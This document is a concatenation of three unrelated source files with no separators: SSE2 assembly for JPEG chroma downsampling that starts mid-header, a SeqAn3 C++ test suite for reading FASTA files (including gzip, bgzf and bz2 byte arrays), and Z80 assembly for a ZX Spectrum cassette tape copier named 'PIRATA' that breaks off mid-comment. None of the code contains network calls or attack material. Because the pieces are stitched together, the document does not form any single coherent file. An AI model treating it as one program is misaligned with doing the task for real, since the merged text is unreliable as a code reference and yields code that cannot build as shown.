JDIMENSION v_samp_factor, JDIMENSION width_blocks, ; JSAMPARRAY input_data, JSAMPARRAY output_data); ; ; r10 = JDIMENSION image_width ; r11 = int max_v_samp_factor ; r12 = JDIMENSION v_samp_factor ; r13 = JDIMENSION width_blocks ; r14 = JSAMPARRAY input_data ; r15 = JSAMPARRAY output_data align 16 global EXTN(jsimd_h2v1_downsample_sse2) PRIVATE EXTN(jsimd_h2v1_downsample_sse2): push rbp mov rax,rsp mov rbp,rsp collect_args mov ecx, r13d shl rcx,3 ; imul rcx,DCTSIZE (rcx = output_cols) jz near .return mov edx, r10d ; -- expand_right_edge push rcx shl rcx,1 ; output_cols * 2 sub rcx,rdx jle short .expand_end mov rax, r11 test rax,rax jle short .expand_end cld mov rsi, r14 ; input_data .expandloop: push rax push rcx mov rdi, JSAMPROW [rsi] add rdi,rdx mov al, JSAMPLE [rdi-1] rep stosb pop rcx pop rax add rsi, byte SIZEOF_JSAMPROW dec rax jg short .expandloop .expand_end: pop rcx ; output_cols ; -- h2v1_downsample mov eax, r12d ; rowctr test eax,eax jle near .return mov rdx, 0x00010000 ; bias pattern movd xmm7,edx pcmpeqw xmm6,xmm6 pshufd xmm7,xmm7,0x00 ; xmm7={0, 1, 0, 1, 0, 1, 0, 1} psrlw xmm6,BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..} mov rsi, r14 ; input_data mov rdi, r15 ; output_data .rowloop: push rcx push rdi push rsi mov rsi, JSAMPROW [rsi] ; inptr mov rdi, JSAMPROW [rdi] ; outptr cmp rcx, byte SIZEOF_XMMWORD jae short .columnloop .columnloop_r8: movdqa xmm0, XMMWORD [rsi+0*SIZEOF_XMMWORD] pxor xmm1,xmm1 mov rcx, SIZEOF_XMMWORD jmp short .downsample .columnloop: movdqa xmm0, XMMWORD [rsi+0*SIZEOF_XMMWORD] movdqa xmm1, XMMWORD [rsi+1*SIZEOF_XMMWORD] .downsample: movdqa xmm2,xmm0 movdqa xmm3,xmm1 pand xmm0,xmm6 psrlw xmm2,BYTE_BIT pand xmm1,xmm6 psrlw xmm3,BYTE_BIT paddw xmm0,xmm2 paddw xmm1,xmm3 paddw xmm0,xmm7 paddw xmm1,xmm7 psrlw xmm0,1 psrlw xmm1,1 packuswb xmm0,xmm1 movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm0 sub rcx, byte SIZEOF_XMMWORD ; outcol add rsi, byte 2*SIZEOF_XMMWORD ; inptr add rdi, byte 1*SIZEOF_XMMWORD ; outptr cmp rcx, byte SIZEOF_XMMWORD jae short .columnloop test rcx,rcx jnz short .columnloop_r8 pop rsi pop rdi pop rcx add rsi, byte SIZEOF_JSAMPROW ; input_data add rdi, byte SIZEOF_JSAMPROW ; output_data dec rax ; rowctr jg near .rowloop .return: uncollect_args pop rbp ret ; -------------------------------------------------------------------------- ; ; Downsample pixel values of a single component. ; This version handles the standard case of 2:1 horizontal and 2:1 vertical, ; without smoothing. ; ; GLOBAL(void) ; jsimd_h2v2_downsample_sse2 (JDIMENSION image_width, int max_v_samp_factor, ; JDIMENSION v_samp_factor, JDIMENSION width_blocks, ; JSAMPARRAY input_data, JSAMPARRAY output_data); ; ; r10 = JDIMENSION image_width ; r11 = int max_v_samp_factor ; r12 = JDIMENSION v_samp_factor ; r13 = JDIMENSION width_blocks ; r14 = JSAMPARRAY input_data ; r15 = JSAMPARRAY output_data align 16 global EXTN(jsimd_h2v2_downsample_sse2) PRIVATE EXTN(jsimd_h2v2_downsample_sse2): push rbp mov rax,rsp mov rbp,rsp collect_args mov ecx, r13d shl rcx,3 ; imul rcx,DCTSIZE (rcx = output_cols) jz near .return mov edx, r10d ; -- expand_right_edge push rcx shl rcx,1 ; output_cols * 2 sub rcx,rdx jle short .expand_end mov rax, r11 test rax,rax jle short .expand_end cld mov rsi, r14 ; input_data .expandloop: push rax push rcx mov rdi, JSAMPROW [rsi] add rdi,rdx mov al, JSAMPLE [rdi-1] rep stosb pop rcx pop rax add rsi, byte SIZEOF_JSAMPROW dec rax jg short .expandloop .expand_end: pop rcx ; output_cols ; -- h2v2_downsample mov eax, r12d ; rowctr test rax,rax jle near .return mov rdx, 0x00020001 ; bias pattern movd xmm7,edx pcmpeqw xmm6,xmm6 pshufd xmm7,xmm7,0x00 ; xmm7={1, 2, 1, 2, 1, 2, 1, 2} psrlw xmm6,BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..} mov rsi, r14 ; input_data mov rdi, r15 ; output_data .rowloop: push rcx push rdi push rsi mov rdx, JSAMPROW [rsi+0*SIZEOF_JSAMPROW] ; inptr0 mov rsi, JSAMPROW [rsi+1*SIZEOF_JSAMPROW] ; inptr1 mov rdi, JSAMPROW [rdi] ; outptr cmp rcx, byte SIZEOF_XMMWORD jae short .columnloop .columnloop_r8: movdqa xmm0, XMMWORD [rdx+0*SIZEOF_XMMWORD] movdqa xmm1, XMMWORD [rsi+0*SIZEOF_XMMWORD] pxor xmm2,xmm2 pxor xmm3,xmm3 mov rcx, SIZEOF_XMMWORD jmp short .downsample .columnloop: movdqa xmm0, XMMWORD [rdx+0*SIZEOF_XMMWORD] movdqa xmm1, XMMWORD [rsi+0*SIZEOF_XMMWORD] movdqa xmm2, XMMWORD [rdx+1*SIZEOF_XMMWORD] movdqa xmm3, XMMWORD [rsi+1*SIZEOF_XMMWORD] .downsample: movdqa xmm4,xmm0 movdqa xmm5,xmm1 pand xmm0,xmm6 psrlw xmm4,BYTE_BIT pand xmm1,xmm6 psrlw xmm5,BYTE_BIT paddw xmm0,xmm4 paddw xmm1,xmm5 movdqa xmm4,xmm2 movdqa xmm5,xmm3 pand xmm2,xmm6 psrlw xmm4,BYTE_BIT pand xmm3,xmm6 psrlw xmm5,BYTE_BIT paddw xmm2,xmm4 paddw xmm3,xmm5 paddw xmm0,xmm1 paddw xmm2,xmm3 paddw xmm0,xmm7 paddw xmm2,xmm7 psrlw xmm0,2 psrlw xmm2,2 packuswb xmm0,xmm2 movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm0 sub rcx, byte SIZEOF_XMMWORD ; outcol add rdx, byte 2*SIZEOF_XMMWORD ; inptr0 add rsi, byte 2*SIZEOF_XMMWORD ; inptr1 add rdi, byte 1*SIZEOF_XMMWORD ; outptr cmp rcx, byte SIZEOF_XMMWORD jae near .columnloop test rcx,rcx jnz near .columnloop_r8 pop rsi pop rdi pop rcx add rsi, byte 2*SIZEOF_JSAMPROW ; input_data add rdi, byte 1*SIZEOF_JSAMPROW ; output_data dec rax ; rowctr jg near .rowloop .return: uncollect_args pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 16
// ----------------------------------------------------------------------------------------------------- // Copyright (c) 2006-2021, Knut Reinert & Freie Universität Berlin // Copyright (c) 2016-2021, Knut Reinert & MPI für molekulare Genetik // This file may be used, modified and/or redistributed under the terms of the 3-clause BSD-License // shipped with this file and also available at: https://github.com/seqan/seqan3/blob/master/LICENSE.md // ----------------------------------------------------------------------------------------------------- #include <gtest/gtest.h> #include <seqan3/std/algorithm> #include <seqan3/std/iterator> #include <seqan3/std/ranges> #include <sstream> #include <seqan3/alphabet/detail/debug_stream_alphabet.hpp> #include <seqan3/io/sequence_file/input.hpp> #include <seqan3/test/expect_range_eq.hpp> #include <seqan3/test/tmp_filename.hpp> #include <seqan3/utility/views/convert.hpp> using seqan3::operator""_dna5; using default_fields = seqan3::fields<seqan3::field::seq, seqan3::field::id, seqan3::field::qual>; TEST(sequence_file_input_iterator, concepts) { using it_t = typename seqan3::sequence_file_input<>::iterator; using sen_t = typename seqan3::sequence_file_input<>::sentinel; EXPECT_TRUE((std::input_iterator<it_t>)); EXPECT_TRUE((std::sentinel_for<sen_t, it_t>)); } struct sequence_file_input_f : public ::testing::Test { std::string input { "> TEST 1\n" "ACGT\n" ">Test2\n" "AGGCTGN\n" "> Test3\n" "GGAGTATAATATATATATATATAT\n" }; seqan3::dna5_vector seq_comp[3] { "ACGT"_dna5, "AGGCTGN"_dna5, "GGAGTATAATATATATATATATAT"_dna5 }; std::string id_comp[3] { "TEST 1", "Test2", "Test3" }; }; TEST_F(sequence_file_input_f, concepts) { using t = seqan3::sequence_file_input<>; EXPECT_TRUE((std::ranges::input_range<t>)); using ct = seqan3::sequence_file_input<> const; // not const-iterable EXPECT_FALSE((std::ranges::input_range<ct>)); } TEST_F(sequence_file_input_f, construct_by_filename) { /* just the filename */ { seqan3::test::tmp_filename filename{"sequence_file_input_constructor.fasta"}; { std::ofstream filecreator{filename.get_path(), std::ios::out | std::ios::binary}; } EXPECT_NO_THROW( seqan3::sequence_file_input<>{filename.get_path()} ); } // correct format check is done by tests of that format /* wrong extension */ { seqan3::test::tmp_filename filename{"sequence_file_input_constructor.xyz"}; std::ofstream filecreator{filename.get_path(), std::ios::out | std::ios::binary}; EXPECT_THROW( seqan3::sequence_file_input<>{filename.get_path()} , seqan3::unhandled_extension_error ); } /* non-existent file */ { EXPECT_THROW( seqan3::sequence_file_input<>{"/dev/nonexistant/foobarOOO"}, seqan3::file_open_error); } /* filename + fields */ { using fields_seq = seqan3::fields<seqan3::field::seq>; seqan3::test::tmp_filename filename{"sequence_file_input_constructor.fasta"}; { std::ofstream filecreator{filename.get_path(), std::ios::out | std::ios::binary}; } EXPECT_NO_THROW(( seqan3::sequence_file_input<seqan3::sequence_file_input_default_traits_dna, fields_seq, seqan3::type_list<seqan3::format_fasta>>{filename.get_path(), fields_seq{}} )); } } TEST_F(sequence_file_input_f, construct_from_stream) { /* stream + format_tag */ EXPECT_NO_THROW(( seqan3::sequence_file_input<seqan3::sequence_file_input_default_traits_dna, default_fields, seqan3::type_list<seqan3::format_fasta>>{std::istringstream{input}, seqan3::format_fasta{}} )); /* stream + format_tag + fields */ EXPECT_NO_THROW(( seqan3::sequence_file_input<seqan3::sequence_file_input_default_traits_dna, default_fields, seqan3::type_list<seqan3::format_fasta>>{std::istringstream{input}, seqan3::format_fasta{}, default_fields{}} )); } TEST_F(sequence_file_input_f, default_template_args_and_deduction_guides) { using comp0 = seqan3::sequence_file_input_default_traits_dna; using comp2 = seqan3::type_list<seqan3::format_embl, seqan3::format_fasta, seqan3::format_fastq, seqan3::format_genbank, seqan3::format_sam>; using comp3 = char; /* default template args */ { using t = seqan3::sequence_file_input<>; EXPECT_TRUE((std::is_same_v<typename t::traits_type, comp0>)); EXPECT_TRUE((std::is_same_v<typename t::selected_field_ids, default_fields>)); EXPECT_TRUE((std::is_same_v<typename t::valid_formats, comp2>)); EXPECT_TRUE((std::is_same_v<typename t::stream_char_type, comp3>)); } /* guided filename constructor */ { seqan3::test::tmp_filename filename{"sequence_file_input_constructor.fasta"}; { std::ofstream filecreator{filename.get_path(), std::ios::out | std::ios::binary}; } seqan3::sequence_file_input fin{filename.get_path()}; using t = decltype(fin); EXPECT_TRUE((std::is_same_v<typename t::traits_type, comp0>)); EXPECT_TRUE((std::is_same_v<typename t::selected_field_ids, default_fields>)); EXPECT_TRUE((std::is_same_v<typename t::valid_formats, comp2>)); EXPECT_TRUE((std::is_same_v<typename t::stream_char_type, comp3>)); } /* guided filename constructor + custom fields */ { seqan3::test::tmp_filename filename{"sequence_file_input_constructor.fasta"}; { std::ofstream filecreator{filename.get_path(), std::ios::out | std::ios::binary}; } seqan3::sequence_file_input fin{filename.get_path(), seqan3::fields<seqan3::field::seq>{}}; using t = decltype(fin); EXPECT_TRUE((std::is_same_v<typename t::traits_type, comp0>)); EXPECT_TRUE((std::is_same_v<typename t::selected_field_ids, seqan3::fields<seqan3::field::seq>>)); // changed EXPECT_TRUE((std::is_same_v<typename t::valid_formats, comp2>)); EXPECT_TRUE((std::is_same_v<typename t::stream_char_type, comp3>)); } /* guided stream constructor */ { std::istringstream ext{input}; seqan3::sequence_file_input fin{ext, seqan3::format_fasta{}}; using t = decltype(fin); EXPECT_TRUE((std::is_same_v<typename t::traits_type, comp0>)); EXPECT_TRUE((std::is_same_v<typename t::selected_field_ids, default_fields>)); EXPECT_TRUE((std::is_same_v<typename t::valid_formats, seqan3::type_list<seqan3::format_fasta>>)); // changed EXPECT_TRUE((std::is_same_v<typename t::stream_char_type, comp3>)); } /* guided stream temporary constructor */ { seqan3::sequence_file_input fin{std::istringstream{input}, seqan3::format_fasta{}}; using t = decltype(fin); EXPECT_TRUE((std::is_same_v<typename t::traits_type, comp0>)); EXPECT_TRUE((std::is_same_v<typename t::selected_field_ids, default_fields>)); EXPECT_TRUE((std::is_same_v<typename t::valid_formats, seqan3::type_list<seqan3::format_fasta>>)); // changed EXPECT_TRUE((std::is_same_v<typename t::stream_char_type, comp3>)); } } TEST_F(sequence_file_input_f, empty_file) { seqan3::test::tmp_filename filename{"empty.fasta"}; std::ofstream filecreator{filename.get_path(), std::ios::out | std::ios::binary}; seqan3::sequence_file_input fin{filename.get_path()}; EXPECT_EQ(fin.begin(), fin.end()); } TEST_F(sequence_file_input_f, empty_stream) { seqan3::sequence_file_input fin{std::istringstream{std::string{}}, seqan3::format_fasta{}}; EXPECT_EQ(fin.begin(), fin.end()); } TEST_F(sequence_file_input_f, record_reading) { /* record based reading */ seqan3::sequence_file_input fin{std::istringstream{input}, seqan3::format_fasta{}}; size_t counter = 0; for (auto & rec : fin) { EXPECT_RANGE_EQ(rec.id(), id_comp[counter]); EXPECT_RANGE_EQ(rec.sequence(), seq_comp[counter]); EXPECT_TRUE(empty(rec.base_qualities())); counter++; } EXPECT_EQ(counter, 3u); } TEST_F(sequence_file_input_f, record_reading_struct_bind) { /* record based reading */ seqan3::sequence_file_input fin{std::istringstream{input}, seqan3::format_fasta{}}; size_t counter = 0; for (auto & [ seq, id, qual ] : fin) { EXPECT_RANGE_EQ(seq, seq_comp[counter]); EXPECT_RANGE_EQ(id, id_comp[counter]); EXPECT_TRUE(empty(qual)); counter++; } EXPECT_EQ(counter, 3u); } TEST_F(sequence_file_input_f, record_reading_custom_options) { std::istringstream istream{std::string { "> ID1 lala\n" "ACGTTTTTTTTTTTTTTT\n" "> ID2\n" "ACGTTTTTTT\n" "> ID3 lala\n" "ACGTTTA\n" }}; /* record based reading */ seqan3::sequence_file_input fin{istream, seqan3::format_fasta{}}; fin.options.truncate_ids = true; auto it = fin.begin(); EXPECT_EQ((*it).id(), "ID1"); ++it; EXPECT_EQ((*it).id(), "ID2"); ++it; EXPECT_EQ((*it).id(), "ID3"); } TEST_F(sequence_file_input_f, file_view) { seqan3::sequence_file_input fin{std::istringstream{input}, seqan3::format_fasta{}}; auto minimum_length_filter = std::views::filter([] (auto const & rec) { return size(rec.sequence()) >= 5; }); size_t counter = 1; // the first record will be filtered out for (auto & rec : fin | minimum_length_filter) { EXPECT_RANGE_EQ(rec.id(), id_comp[counter]); EXPECT_RANGE_EQ(rec.sequence(), seq_comp[counter]); EXPECT_TRUE(empty(rec.base_qualities())); counter++; } EXPECT_EQ(counter, 3u); } // ---------------------------------------------------------------------------- // decompression // ---------------------------------------------------------------------------- template <typename fixture_t, typename input_file_t> void decompression_impl(fixture_t & fix, input_file_t & fin) { size_t counter = 0; for (auto & rec : fin) { EXPECT_RANGE_EQ(rec.sequence(), fix.seq_comp[counter]); EXPECT_RANGE_EQ(rec.id(), fix.id_comp[counter]); EXPECT_TRUE(empty(rec.base_qualities())); counter++; } EXPECT_EQ(counter, 3u); } #if defined(SEQAN3_HAS_ZLIB) std::string input_gz { '\x1F','\x8B','\x08','\x00','\x33','\xBF','\x13','\x5C','\x00','\x03','\xB3','\x53','\x08','\x71','\x0D','\x0E', '\x51','\x30','\xE4','\x72','\x74','\x76','\x0F','\xE1','\xB2','\x0B','\x49','\x2D','\x2E','\x31','\xE2','\x72', '\x74','\x77','\x77','\x0E','\x71','\xF7','\xE3','\xB2','\x53','\x00','\xF1','\x8D','\xB9','\xDC','\xDD','\x1D', '\xDD','\x43','\x1C','\x43','\x1C','\x1D','\x43','\x50','\x21','\x17','\x00','\xEF','\x24','\xC2','\xE9','\x3E', '\x00','\x00','\x00', }; TEST_F(sequence_file_input_f, decompression_by_filename_gz) { seqan3::test::tmp_filename filename{"sequence_file_output_test.fasta.gz"}; { std::ofstream of{filename.get_path(), std::ios::binary}; std::copy(begin(input_gz), end(input_gz), std::ostreambuf_iterator<char>{of}); } seqan3::sequence_file_input fin{filename.get_path()}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, decompression_by_stream_gz) { seqan3::sequence_file_input fin{std::istringstream{input_gz}, seqan3::format_fasta{}}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, read_empty_gz_file) { std::string empty_zipped_file { '\x1f', '\x8b', '\x08', '\x08', '\x5a', '\x07', '\x98', '\x5c', '\x00', '\x03', '\x66', '\x6f', '\x6f', '\x00', '\x03', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00' }; seqan3::sequence_file_input fin{std::istringstream{empty_zipped_file}, seqan3::format_fasta{}}; EXPECT_TRUE(fin.begin() == fin.end()); } std::string input_bgzf { '\x1F', '\x8B', '\x08', '\x04', '\x00', '\x00', '\x00', '\x00', '\x00', '\xFF', '\x06', '\x00', '\x42', '\x43', '\x02', '\x00', '\x4A', '\x00', '\xB3', '\x53', '\x08', '\x71', '\x0D', '\x0E', '\x51', '\x30', '\xE4', '\x72', '\x74', '\x76', '\x0F', '\xE1', '\xB2', '\x0B', '\x49', '\x2D', '\x2E', '\x31', '\xE2', '\x72', '\x74', '\x77', '\x77', '\x0E', '\x71', '\xF7', '\xE3', '\xB2', '\x53', '\x00', '\xF1', '\x8D', '\xB9', '\xDC', '\xDD', '\x1D', '\xDD', '\x43', '\x1C', '\x43', '\x1C', '\x1D', '\x43', '\x50', '\x21', '\x17', '\x00', '\xEF', '\x24', '\xC2', '\xE9', '\x3E', '\x00', '\x00', '\x00', '\x1F', '\x8B', '\x08', '\x04', '\x00', '\x00', '\x00', '\x00', '\x00', '\xFF', '\x06', '\x00', '\x42', '\x43', '\x02', '\x00', '\x1B', '\x00', '\x03', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00' }; TEST_F(sequence_file_input_f, bgzf_decompression_by_filename_bgzf) { seqan3::test::tmp_filename filename{"sequence_file_output_test.fasta.bgzf"}; { std::ofstream of{filename.get_path(), std::ios::binary}; std::copy(input_bgzf.begin(), input_bgzf.end(), std::ostreambuf_iterator<char>{of}); } seqan3::sequence_file_input fin{filename.get_path()}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, bgzf_decompression_by_filename_gz) { seqan3::test::tmp_filename filename{"sequence_file_output_test.fasta.gz"}; { std::ofstream of{filename.get_path(), std::ios::binary}; std::copy(input_bgzf.begin(), input_bgzf.end(), std::ostreambuf_iterator<char>{of}); } seqan3::sequence_file_input fin{filename.get_path()}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, decompression_by_stream_bgzf) { seqan3::sequence_file_input fin{std::istringstream{input_bgzf}, seqan3::format_fasta{}}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, read_empty_bgzf_file) { std::string empty_bgzf_file { '\x1F', '\x8B', '\x08', '\x04', '\x00', '\x00', '\x00', '\x00', '\x00', '\xFF', '\x06', '\x00', '\x42', '\x43', '\x02', '\x00', '\x1B', '\x00', '\x03', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', }; seqan3::sequence_file_input fin{std::istringstream{empty_bgzf_file}, seqan3::format_fasta{}}; EXPECT_TRUE(fin.begin() == fin.end()); } #endif #if defined(SEQAN3_HAS_BZIP2) std::string input_bz2 { '\x42','\x5A','\x68','\x39','\x31','\x41','\x59','\x26','\x53','\x59','\x8D','\xD7','\xE7','\xD6','\x00','\x00', '\x06','\x5F','\x80','\x00','\x10','\x40','\x00','\x38','\x01','\x2A','\x81','\x0C','\x00','\x02','\x00','\x0C', '\x00','\x20','\x00','\x54','\x44','\x34','\xC0','\x00','\x4A','\x9B','\x44','\x68','\x9E','\x48','\x5D','\x34', '\x67','\x4F','\x24','\xFC','\x6F','\x10','\xC5','\xA0','\x3C','\x12','\x61','\xDD','\xE9','\x45','\xA5','\xD4', '\x26','\x31','\xBC','\xF1','\x49','\x61','\x81','\xA2','\xEE','\x48','\xA7','\x0A','\x12','\x11','\xBA','\xFC', '\xFA','\xC0' }; TEST_F(sequence_file_input_f, decompression_by_filename_bz2) { seqan3::test::tmp_filename filename{"sequence_file_output_test.fasta.bz2"}; { std::ofstream of{filename.get_path(), std::ios::binary}; std::copy(begin(input_bz2), end(input_bz2), std::ostreambuf_iterator<char>{of}); } seqan3::sequence_file_input fin{filename.get_path()}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, decompression_by_stream_bz2) { seqan3::sequence_file_input fin{std::istringstream{input_bz2}, seqan3::format_fasta{}}; decompression_impl(*this, fin); } TEST_F(sequence_file_input_f, read_empty_bz2_file) { std::string empty_zipped_file { '\x42', '\x5a', '\x68', '\x39', '\x17', '\x72', '\x45', '\x38', '\x50', '\x90', '\x00', '\x00', '\x00', '\x00' }; seqan3::sequence_file_input fin{std::istringstream{empty_zipped_file}, seqan3::format_fasta{}}; EXPECT_TRUE(fin.begin() == fin.end()); } #endif
; PIRATA 2-3 bugs fixed, code optimized and smaller ; Rui Ribeiro - Jan/2021 ; ; border cyan/red - introduce tape to copy ; SPACE to force end ; ; border yellow - introduce blank tape and press 1 (any key??) ; ; border green - 1 another copy ; 2 start over ; ; FORMAT of tape block in memory ; ; BYTE 1 - LSB size of block ; BYTE 2 - MSB size of block ; BYTE 3 - flag identifying block ; -------- block ; if BYTE1 and BYTE2 = 0, no more blocks RAM EQU $4020 MAX_SIZE EQU $FFFD LD_EDGE_2 EQU $05E3 LD_EDGE_1 EQU $05E7 ORG $8000-4 START: DI ; only needed once LD SP,STACK BEGIN: ;LD HL,RAM_BEGIN ; beggining of RAM CALL STRAM L_NEXTBLK: PUSH IX ; Save beggining of block LD A,(PG_RAM) LD (PG_BLK),A CALL NEXT_IX ; size of block LSB CALL NEXT_IX ; size of block MSB LD DE,0 ; 0 bytes loaded CALL LD_BYTES ; load block ; altered ROM routine JR Z,END_BLOCK ; load w/ sucess RRR LD A,$7F IN A,($FE) RR A JR NC,END_LOAD ; if SPACE END_BLOCK: PUSH IX POP HL POP IX PUSH HL LD A,(PG_RAM) PUSH AF LD A,(PG_BLK) CALL OUTPG ; DE = (HL) LD (IX),E ; (HL) = size (word) at beggining of block CALL NEXT_IX LD (IX),D POP AF CALL OUTPG POP IX JR L_NEXTBLK ; next block END_LOAD: POP IX ; POP IX before loading XOR A LD (IX),A ; (IX) = 0 word, no more blocks CALL NEXT_IX LD (IX),A LD A,06 ; border yellow OUT ($FE),A CALL DELAY ; wait for any key ANYKEY: XOR A IN A,($FE) RR A JR C,ANYKEY ; Time for saving blocks BEGIN_SBLOCK: ;LD HL,RAM_BEGIN ; point to RAM beginning CALL STRAM NEXT_SBLOCK: CALL DELAY ; delay into each block LD E,(IX) CALL NEXT_IX LD D,(IX) CALL NEXT_IX LD A,E OR D JR Z,EXIT_SAVE ; size = 0, jump to FFD2 LD A,(IX) DEC DE CALL SA_BYTES ; CALL SA_BYTES ; altered ROM routine JR NEXT_SBLOCK ; save next block EXIT_SAVE: LD A,04 ; border green OUT ($FE),A LD BC,$F7FE WAIT_1_2: IN A,(C) BIT 1,A ; key "2" JP Z,BEGIN ; begin from scratch BIT 0,A ; key "1" JR Z,BEGIN_SBLOCK ; save again another copy JR WAIT_1_2 ; wait cycle ; aprox 0.9 seconds DELAY: LD BC,$FFFF DLOOP: DEC BC LD A,B OR C JR NZ,DLOOP RET ; ---------------------------------- ; Save header and program/data bytes ; ---------------------------------- ; This routine saves a section of data. It is called from SA-CTRL to save the ; seventeen bytes of header data. It is also the exit route from that routine ; when it is set up to save the actual data. ; On entry - ; IX points to descriptor. ; The accumulator is set to $00 for a header, $FF for data. SA_BYTES: LD HL,$1F80 ; a timing constant H=$1F, L=$80 ; inner and outer loop counters ; a five second lead-in is used for a header. BIT 7,A ; test one bit of accumulator. ; (AND A ?) JR Z,SA_FLAG ; skip to SA-FLAG if a header is being saved. ; else is data bytes and a shorter lead-in is used. LD HL,$0C98 ; another timing value H=$0C, L=$98. ; a two second lead-in is used for the data. SA_FLAG: LD A,$02 ; select red for border, microphone bit on. LD B,A ; also does as an initial slight counter value. SA_LEADER: DJNZ SA_LEADER ; self loop to SA-LEADER for delay. ; after initial loop, count is $A4 (or $A3) OUT ($FE),A ; output byte $02/$0D to tape port. XOR $0F ; switch from RED (mic on) to CYAN (mic off). LD B,$A4 ; hold count. also timed instruction. DEC L ; originally $80 or $98. ; but subsequently cycles 256 times. JR NZ,SA_LEADER ; back to SA-LEADER until L is zero. ; the outer loop is counted by H DEC B ; decrement count DEC H ; originally twelve or thirty-one. JP P,SA_LEADER ; back to SA-LEADER until H becomes $FF ; now send a sync pulse. At this stage mic is off and A holds value ; for mic on. ; A sync pulse is much shorter than the steady pulses of the lead-in. LD B,$2F ; another short timed delay. SA_SYNC_1: DJNZ SA_SYNC_1 ; self loop to SA-SYNC-1 OUT ($FE),A ; switch to mic on and red. LD A,$0D ; prepare mic off - cyan LD B,$37 ; another short timed delay. SA_SYNC_2: DJNZ SA_SYNC_2 ; self loop to SA-SYNC-2 OUT ($FE),A ; output mic off, cyan border. LD BC,$3B0E ; B=$3B time(*), C=$0E, YELLOW, MIC OFF. ; ------------------------- ; During the save loop a parity byte is maintained in H. ; the save loop begins by testing if reduced length is zero and if so ; the final parity byte is saved reducing count to $FFFF. SA_LOOP: LD L,(IX+$00) ; load currently addressed byte to L. SA_LOOP_P: ; -> the mid entry point of loop. SA_START: LD A,$01 ; prepare blue, mic=on. SCF ; set carry flag ready to rotate in. JP SA_8_BITS ; JUMP forward to SA-8-BITS -8-> ; --- ; The entry point to save yellow part of bit. ; A bit consists of a period with mic on and blue border followed by ; a period of mic off with yellow border. ; Note. since the DJNZ instruction does not affect flags, the zero flag is ; used to indicate which of the two passes is in effect and the carry ; maintains the state of the bit to be saved. SA_BIT_2: LD A,C ; fetch 'mic on and yellow' which is ; held permanently in C. BIT 7,B ; set the zero flag. B holds $3E. ; The entry point to save 1 entire bit. For first bit B holds $3B(*). ; Carry is set if saved bit is 1. zero is reset NZ on entry. SA_BIT_1: DJNZ SA_BIT_1 ; self loop for delay to SA-BIT-1 JR NC,SA_OUT ; forward to SA-OUT if bit is 0. ; but if bit is 1 then the mic state is held for longer. LD B,$42 ; set timed delay. (66 decimal) SA_SET: DJNZ SA_SET ; self loop to SA-SET ; (roughly an extra 66*13 clock cycles) SA_OUT: OUT ($FE),A ; blue and mic on OR yellow and mic off. LD B,$3E ; set up delay JR NZ,SA_BIT_2 ; back to SA-BIT-2 if zero reset NZ (first pass) ; proceed when the blue and yellow bands have been output. DEC B ; change value $3E to $3D. XOR A ; clear carry flag (ready to rotate in). INC A ; reset zero flag i.e. NZ. ; -8-> SA_8_BITS: RL L ; rotate left through carry ; C<76543210<C JP NZ,SA_BIT_1 ; JUMP back to SA-BIT-1 ; until all 8 bits done. ; when the initial set carry is passed out again then a byte is complete. DEC DE ; decrease length ; INC IX ; increase byte pointer CALL NEXT_IX LD B,$31 ; set up timing. LD A,$7F ; test the space key and IN A,($FE) ; return to common exit (to restore border) RRA ; if a space is pressed RET NC ; return to SA/LD-RET. - - > ; now test if byte counter has reached $FFFF. LD A,D ; fetch high byte INC A ; increment. RR JP NZ,SA_LOOP ; JUMP to SA-LOOP if more bytes. ; LD B,$3B ; a final delay. ; ;SA_DELAY: ; DJNZ SA_DELAY ; self loop to SA-DELAY RET ; ------------------------------------ ; Load header or block of information ; ------------------------------------ ; This routine is used to load bytes and on entry A is set to $00 for a ; header or to $FF for data. IX points to the start of receiving location ; and DE holds the length of bytes to be loaded. If, on entry the carry flag ; is set then data is loaded, if reset then it is verified. LD_BYTES: LD A,$0F ; make the border white and mic off. OUT ($FE),A ; output to port. ; the reading of the EAR bit (D6) will always be preceded by a test of the ; space key (D0), so store the initial post-test state. IN A,($FE) ; read the ear state - bit 6. RRA ; rotate to bit 5. AND $20 ; isolate this bit. OR $02 ; combine with red border colour. LD C,A ; and store initial state long-term in C. CP A ; set the zero flag. ; LD_BREAK: RET NZ ; return if at any time space is pressed. LD_START: CALL LD_EDGE_1 ; routine LD-EDGE-1 JR NC,LD_BREAK ; back to LD-BREAK with time out and no ; edge present on tape. ; but continue when a transition is found on tape. LD HL,$0415 ; set up 16-bit outer loop counter for ; approx 1 second delay. LD_WAIT: DJNZ LD_WAIT ; self loop to LD-WAIT (for 256 times) DEC HL ; decrease outer loop counter. LD A,H ; test for OR L ; zero. JR NZ,LD_WAIT ; back to LD-WAIT, if not zero, with zero in B. ; continue after delay with H holding zero and B also. ; sample 256 edges to check that we are in the middle of a lead-in section. CALL LD_EDGE_2 ; routine LD-EDGE-2 JR NC,LD_BREAK ; back to LD-BREAK ; if no edges at all. LD_LEADER: LD B,$9C ; set timing value. CALL LD_EDGE_2 ; routine LD-EDGE-2 JR NC,LD_BREAK ; back to LD-BREAK if time-out LD A,$C6 ; two edges must be spaced apart. CP B ; compare JR NC,LD_START ; back to LD-START if too close together for a ; lead-in. INC H ; proceed to test 256 edged sample. JR NZ,LD_LEADER ; back to LD-LEADER while more to do. ; sample indicates we are in the middle of a two or five second lead-in. ; Now test every edge looking for the terminal sync signal. LD_SYNC: LD B,$C9 ; initial timing value in B. CALL LD_EDGE_1 ; routine LD-EDGE-1 JR NC,LD_BREAK ; back to LD-BREAK with time-out. LD A,B ; fetch augmented timing value from B. CP $D4 ; compare JR NC,LD_SYNC ; back to LD-SYNC if gap too big, that is, ; a normal lead-in edge gap. ; but a short gap will be the sync pulse. ; in which case another edge should 